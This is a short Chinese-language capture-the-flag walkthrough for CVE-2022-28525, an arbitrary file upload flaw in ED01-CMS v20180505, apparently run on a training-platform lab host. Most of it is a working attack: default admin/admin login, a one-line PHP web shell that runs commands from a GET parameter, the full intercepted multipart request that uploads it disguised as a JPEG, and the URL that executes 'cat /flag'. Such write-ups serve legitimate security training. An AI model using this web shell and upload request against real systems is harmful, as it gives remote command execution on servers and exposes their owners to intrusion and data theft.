CVE-2022-28525

CVE-2022-28525

一、漏洞介绍

ED01-CMS v20180505 存在任意文件上传漏洞

二、渗透步骤

1、打开网站

http://eci-2zedq3hmmqo1q9yhiatg.cloudeci1.ichunqiu.com/

2、登录后台

# 账号：admin
# 密码：admin

3、WebShell

<?php 
	system($_GET[1]);
?>

4、文件上传

5、截取数据包

POST /admin/users.php?source=edit_user&id=41 HTTP/1.1
Host: eci-2zedq3hmmqo1q9yhiatg.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29789280275122432703465352399
Content-Length: 1581
Origin: http://eci-2zedq3hmmqo1q9yhiatg.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zedq3hmmqo1q9yhiatg.cloudeci1.ichunqiu.com/admin/users.php?source=edit_user&id=41
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1685453401,1685507993,1686039389,1686125034; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=ac8af30b24cdfe0a1face2ffbc13884c1698e153; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1686126285; PHPSESSID=d3avrn2g690cd2fi7bb0nskg7l
Upgrade-Insecure-Requests: 1

-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_id"

41
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_uname"

admin
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_email"

admin@aaa.com
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_pass1"

admin
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_pass2"

admin
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_fname"

admin
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_lname"

admin
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_image"

new
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="new_image"; filename="ant.php"
Content-Type: image/jpeg

<?php 
	system($_GET[1]);
?>

-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_role"

Administrator
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="user_status"

Active
-----------------------------29789280275122432703465352399
Content-Disposition: form-data; name="updateusersubmit"


-----------------------------29789280275122432703465352399--

6、查看flag值

http://eci-2zedq3hmmqo1q9yhiatg.cloudeci1.ichunqiu.com/images/ant.php?1=cat%20/flag